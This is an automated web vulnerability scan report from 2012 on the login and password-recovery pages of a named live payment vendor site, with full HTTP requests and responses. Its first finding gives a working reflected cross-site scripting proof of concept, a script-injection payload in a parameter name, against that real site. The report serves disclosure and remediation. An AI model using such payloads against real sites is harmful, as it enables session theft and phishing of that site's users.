XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, secure.avangate.com

Report generated by XSS.Cx at Mon Jan 23 13:23:18 CST 2012.

1. Cross-site scripting (reflected)

2. Cookie without HttpOnly flag set

3. Password field with autocomplete enabled

4. Cross-domain script include

4.1. https://secure.avangate.com/cpanel/login.php

4.2. https://secure.avangate.com/cpanel/recover_password.php

5. Email addresses disclosed


1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.avangate.com
Path:   /cpanel/login.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 777ad"><script>alert(1)</script>50a853930caec6bff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /cpanel/login.php?777ad"><script>alert(1)</script>50a853930caec6bff=1&email=email+address&password=******&Login=Login&submit=Login HTTP/1.1
Host: secure.avangate.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.avangate.com/login/
Cookie: s_cc=true; s_sq=gecadavangatewebsite%3D%2526pid%253Dhttp%25253A//www.avangate.com/login/%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BpageTracker._trackPageview%252528%252522/login_vendors%252522%252529%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; __switchTo5x=75; __unam=ecf86e9-134a4449d2f-616a9f72-1

Response

HTTP/1.1 200 OK
Server: Avangate
Date: Tue, 03 Jan 2012 15:51:58 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=slga01mkq6jcvkr8mkd7c8ncct19ht2n; path=/; secure
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2815

<html>
   <head>
       <title>Avangate cPanel</title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

   
                           
...[SNIP]...
<form action="/cpanel/login.php?777ad"><script>alert(1)</script>50a853930caec6bff=1&email=email+address&password=******&Login=Login&submit=Login" method="post" name="frmLogin" id="frmLogin" style="margin:0px;">
...[SNIP]...
2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.avangate.com
Path:   /cpanel/login.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

POST /cpanel/login.php HTTP/1.1
Host: secure.avangate.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.avangate.com/login/
Cookie: s_cc=true; s_sq=gecadavangatewebsite%3D%2526pid%253Dhttp%25253A//www.avangate.com/login/%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BpageTracker._trackPageview%252528%252522/login_vendors%252522%252529%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; __switchTo5x=75; __unam=ecf86e9-134a4449d2f-616a9f72-1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70


email=email+address&password=******&Login=Login&submit=Login

Response

HTTP/1.1 200 OK
Server: Avangate
Date: Tue, 03 Jan 2012 15:51:40 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=tuqgc2mg3u75hjner6vgas237ifqmmuv; path=/; secure
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3220

<html>
   <head>
       <title>Avangate cPanel</title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

   
                           
...[SNIP]...
3. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.avangate.com
Path:   /cpanel/login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

POST /cpanel/login.php HTTP/1.1
Host: secure.avangate.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.avangate.com/login/
Cookie: s_cc=true; s_sq=gecadavangatewebsite%3D%2526pid%253Dhttp%25253A//www.avangate.com/login/%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BpageTracker._trackPageview%252528%252522/login_vendors%252522%252529%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; __switchTo5x=75; __unam=ecf86e9-134a4449d2f-616a9f72-1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70


email=email+address&password=******&Login=Login&submit=Login

Response

HTTP/1.1 200 OK
Server: Avangate
Date: Tue, 03 Jan 2012 15:51:40 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=tuqgc2mg3u75hjner6vgas237ifqmmuv; path=/; secure
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3220

<html>
   <head>
       <title>Avangate cPanel</title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

   
                           
...[SNIP]...
<div class="form">
   <form action="/cpanel/login.php" method="post" name="frmLogin" id="frmLogin" style="margin:0px;">
   <table cellspacing=0 cellpadding="0" border=0>
...[SNIP]...
<br />
               <input name="password" type="password" id="password" size="40" class="field text text-password"></label>
...[SNIP]...
4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. https://secure.avangate.com/cpanel/login.php  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.avangate.com
Path:   /cpanel/login.php

Issue detail

The response dynamically includes the following script from another domain:

Request

POST /cpanel/login.php HTTP/1.1
Host: secure.avangate.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.avangate.com/login/
Cookie: s_cc=true; s_sq=gecadavangatewebsite%3D%2526pid%253Dhttp%25253A//www.avangate.com/login/%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BpageTracker._trackPageview%252528%252522/login_vendors%252522%252529%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; __switchTo5x=75; __unam=ecf86e9-134a4449d2f-616a9f72-1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70


email=email+address&password=******&Login=Login&submit=Login

Response

HTTP/1.1 200 OK
Server: Avangate
Date: Tue, 03 Jan 2012 15:51:40 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=tuqgc2mg3u75hjner6vgas237ifqmmuv; path=/; secure
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3220

<html>
   <head>
       <title>Avangate cPanel</title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

   
                           
...[SNIP]...
<!-- TEST -->
<script type="text/javascript" language="javascript" src="https://3619-avangate.voxcdn.com/content/static/js/cpanel4avangate/8303013f5bc5e402a762b6229ff633ed/20110928152903.js"></script>
...[SNIP]...
4.2. https://secure.avangate.com/cpanel/recover_password.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.avangate.com
Path:   /cpanel/recover_password.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /cpanel/recover_password.php HTTP/1.1
Host: secure.avangate.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.avangate.com/cpanel/login.php
Cookie: s_cc=true; s_sq=gecadavangatewebsite%3D%2526pid%253Dhttp%25253A//www.avangate.com/login/%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BpageTracker._trackPageview%252528%252522/login_vendors%252522%252529%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; __switchTo5x=75; __unam=ecf86e9-134a4449d2f-616a9f72-1; PHPSESSID=6e18e1tmpn51thmrpee0fdurl8tgdbhb
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Avangate
Date: Tue, 03 Jan 2012 15:52:11 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3709

<html>
   <head>
       <title>Avangate cPanel</title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

   
                           
...[SNIP]...
<!-- TEST -->
<script type="text/javascript" language="javascript" src="https://3619-avangate.voxcdn.com/content/static/js/cpanel4avangate/8303013f5bc5e402a762b6229ff633ed/20110928152903.js"></script>
...[SNIP]...
5. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.avangate.com
Path:   /cpanel/recover_password.php

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

POST /cpanel/recover_password.php HTTP/1.1
Host: secure.avangate.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.avangate.com/cpanel/recover_password.php
Cookie: s_cc=true; s_sq=gecadavangatewebsite%3D%2526pid%253Dhttp%25253A//www.avangate.com/login/%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BpageTracker._trackPageview%252528%252522/login_vendors%252522%252529%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; __switchTo5x=75; __unam=ecf86e9-134a4449d2f-616a9f72-1; PHPSESSID=6e18e1tmpn51thmrpee0fdurl8tgdbhb
Content-Type: application/x-www-form-urlencoded
Content-Length: 50


recover=1&email=5675%40ee.com&s_key=4324

Response

HTTP/1.1 200 OK
Server: Avangate
Date: Tue, 03 Jan 2012 15:52:25 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3720

<html>
   <head>
       <title>Avangate cPanel</title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

   
                           
...[SNIP]...
<input name="email" type="text" id="email" value="5675@ee.com" size="30" class="field text">
...[SNIP]...
Report generated by XSS.Cx at Mon Jan 23 13:23:18 CST 2012.